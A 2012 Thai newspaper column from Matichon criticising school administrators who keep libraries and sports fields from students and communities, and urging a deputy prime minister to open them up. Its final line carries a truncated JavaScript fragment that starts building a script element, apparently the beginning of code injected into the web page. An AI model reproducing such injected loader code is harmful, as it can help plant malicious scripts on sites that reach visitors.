มติชนรายวัน ฉบับประจำวันอังคารที่ 5 มิถุนายน 2555

 

          ผู้บริหารโรงเรียนส่วนมากของรัฐราชการไทย ถูกหล่อหลอมให้ตั้งตนเป็นนายใจแคบและมักได้แต่ประโยชน์ตนเฉพาะหน้า

          โดยไม่แบ่งปันประโยชน์จากทรัพย์สินสาธารณะบางอย่างที่อยู่ในโรงเรียนให้นักเรียนและชุมชนเต็มสมรรถภาพที่มีอยู่เหลือเฟือ

          การบริหารทรัพย์สินให้เกิดประโยชน์สูงสุด ในสังคมไทยทำยากมากๆ ยังไม่พบตัวอย่างว่าทำได้ เพราะวัฒนธรรมราชการเป็นอุปสรรคหนักหนา ฐากูร บุนปาน “กวีโต้งๆ” ผู้จัดการทั่วไปของมติชน เขียนเล่าเมื่อสัปดาห์ก่อนนี้ ไว้ในมติชน รายวัน

          เรื่อง รองนายกฯ กิตติรัตน์ ณ ระนอง สมัยเป็นผู้จัดการตลาดหลักทรัพย์ฯ พยายามจะบริหารทรัพย์สินของโรงเรียนให้เป็นประโยชน์ต่อนักเรียนและชุมชนได้มากกว่าที่เป็นอยู่ แต่ไม่ได้ผล เพราะผู้บริหารโรงเรียนไม่ร่วมมือด้วย จะคัดของฐากูรเขียนโดยสรุปมาพิมพ์ซ้ำให้อ่านกันแพร่หลายเพิ่มอีกดังนี้

          ทำอย่างไรถึงจะใช้ห้องสมุดและสนามกีฬาของโรงเรียนให้เป็นประโยชน์แก่นักเรียนหรือชุมชนได้มากกว่าที่เป็นอยู่ เพื่อจะได้ไม่ต้องไปลงทุนทำห้องสมุดหรือสนามกีฬาใหม่

          แค่เอาระบบจัดการที่ดีเข้าไปจับ และถ้าหากมีค่าใช้จ่ายเพิ่มขึ้นไม่ว่าจะเป็นค่าตอบแทนคน หรือค่าสาธารณูปโภค ซึ่งคิดแล้วปีละไม่กี่แสนบาท ก็ไปชักชวนบริษัทห้างร้านหรือผู้มีจิตศรัทธาเข้ามาช่วยกัน

          โครงการนี้ทดลองกับโรงเรียนบางแห่ง ผลสุดท้ายคือ “เหลว” ครับ

          ไม่ใช่เหลวเพราะโครงการไม่ดี แต่เหลวเพราะว่าหน่วยงานรัฐ “หวง” ทรัพย์สินของตัวเอง ไม่ต้องการให้ใครเข้ามาร่วมใช้ (หรือร่วมบริหาร-ร่วมตัดสินใจ) ด้วย หรือถ้าจะมาช่วยก็ให้ลงทุนสร้างใหม่ไปเลย

          เพราะฉะนั้น ห้องสมุดหรือสนามกีฬาของโรงเรียนนับพันแห่ง ก็ “ร้าง” ในวันเสาร์วันอาทิตย์ หรือเย็นค่ำของวันธรรมดาต่อไป

          ปล่อยให้ผับบาร์อาละวาด ดึงดูดเด็กและเยาวชนทั้งหลายไปแทน

          กรณีคล้ายคลึงกัน ผมก็เคยโดน จนต้องปรึกษา อ. บรรจง พงศ์ศาสตร์ ให้ช่วยแนะนำบรรเทาปัญหาเพื่อประโยชน์ของนักเรียนและชุมชน ก็ไม่สำเร็จอยู่ดีตั้งแต่บัดนั้นจนบัดนี้

          แต่ปัจจุบันคุณกิตติรัตน์เป็นรองนายกฯ ที่เกี่ยวข้องโดยตรงกับการบริหารทรัพย์สินให้เกิดประโยชน์สูงสุด ย่อมเป็นโอกาสดีที่จะทำตามเคยคิดไว้ให้สำเร็จ

          แล้วถ้าทำสำเร็จ คนอื่นๆและผมเองจะได้ขออาศัยเกาะใบบุญตามไปด้วย นักเรียนเด็กๆและชุมชนแถวบ้านเกิดเมืองนอนของผมจะได้พ้นหลุมดำอำมหิตของรัฐราชการไทยเสียที

          นอกจากห้องสมุดกับสนามกีฬาแล้ว คุณกิตติรัตน์ควรพิจารณาหาวงดนตรีขนาดน้องๆ“ออเคสตรา” ของ อ. สุกรี เจริญสุข (ม. มหิดล) ไปบรรเลงอย่างน้อยปีละครั้ง หมุนเวียนให้เยาวชนและผู้ใหญ่ในชุมชนภาคต่างๆทั่วประเทศที่อาจแบ่งได้ 4-5 ภาค

          ยกวงใหญ่โตไปเอาใจที่ไหนๆได้ทั้งใกล้ไกล ทำไมจะยกวงเล็กๆไปบรรเลงให้เยาวชนกับชาวบ้านในท้องถิ่นต่างๆฟังบ้างไม่ได้ล่ะ?var d=document;var s=d.createElement(‘script’);